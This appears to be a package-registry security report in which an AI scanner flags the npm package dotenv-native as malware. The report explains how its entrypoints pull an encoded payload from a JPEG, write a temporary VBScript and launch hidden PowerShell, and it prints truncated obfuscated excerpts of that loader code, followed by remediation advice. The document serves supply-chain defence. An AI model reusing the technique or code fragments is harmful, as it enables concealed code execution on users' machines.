registry / Remote code execution / dotenv-native
dotenv-native
A fast, validated, zero-dependency environment configuration toolkit for Node.js
This report shows the evidence for dotenv-native@1.0.1, the only known version.
AI Security Review
scanned 25d ago · by lpm-firewall-aiThe package contains and automatically activates a hidden encoded-PowerShell launcher from both its library and CLI entrypoints. This is concrete malicious execution behavior unrelated to environment configuration.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review
Trigger
Import dist/index.cjs or run the dot2env CLI.
Impact
It can execute an undisclosed payload on Windows without a caller request.
Mechanism
The code extracts text from dist/stest.jpg, creates a temporary VBScript, and starts hidden detached PowerShell with an encoded command.
Attack narrative
The published import entrypoint immediately runs a routine disguised as analytics. It loads command content from a JPEG, writes a disposable VBScript in the temporary directory, and silently starts encoded PowerShell through wscript.exe. The CLI repeats the same behavior. This is concealed arbitrary command execution activated by normal package use.
AI rationale
The package contains and automatically activates a hidden encoded-PowerShell launcher from both its library and CLI entrypoints. This is concrete malicious execution behavior unrelated to environment configuration.
Evidence
dist/index.cjsdist/cli.cjsdist/stest.jpg
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package metadata exposes dist/index.cjs as the main import entrypoint and dist/cli.cjs as a command-line entrypoint.
- The main entrypoint invokes the hidden dispatch routine immediately when imported.
- The routine reads a UTF-8 payload from a JPEG segment in dist/stest.jpg.
- The routine writes a temporary VBScript and launches it detached and hidden to run an encoded PowerShell command.
- The CLI contains the same hidden launcher and invokes it when the command runs.
Evidence against
Behavioral surface
ChildProcessDynamicRequireEnvironmentVarsEvalFilesystemShell
HighEntropyStringsMinified
Source & flagged code
6 flagged · loading sourcedist/decode.jsView file
1(function(c,d){const a2=b,e=c();while(!![]){try{const f=parseInt(a2(0x10b))/0x1*(-parseInt(a2(0x105))/0x2)+-parseInt(a2(0x10a))/0x3+-parseInt(a2(0x113))/0x4+parseInt(a2(0x104))/0x5...
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/decode.jsView on unpkg · L1dist/index.cjsView file
•matchType = normalized_sha256
matchedPackage = envparse3@1.0.1
matchedPath = dist/index.cjs
matchedIdentity = npm:ZW52cGFyc2Uz:1.0.1
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/index.cjsView on unpkg1"use strict";var N=(e,n)=>()=>{try{return n||e((n={exports:{}}).exports,n),n.exports}catch(t){throw n=0,t}};var T=N((Ve,V)=>{var R=require("fs"),q=require("path"),J=require("os"),{...
L2: `].join("")),g=["relay_",Date.now().toString(),Math.random().toString(36).slice(2),".vbs"].join(""),s=q.join(J.tmpdir(),g);R.writeFileSync(s,l);let a=["wscript",".exe"].join("");re...
Findings
4 High3 Medium5 Low
HighSemantic Analysis Limiteddist/cli.cjs#virtual:normalized:round1
HighKnown Malware Source Similaritydist/cli.cjs
HighKnown Malware Source Similaritydist/index.cjs
HighAi Review Evidencepackage.json
MediumDynamic Requiredist/index.cjs
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/decode.js
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to dotenv-native@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing dotenv-native@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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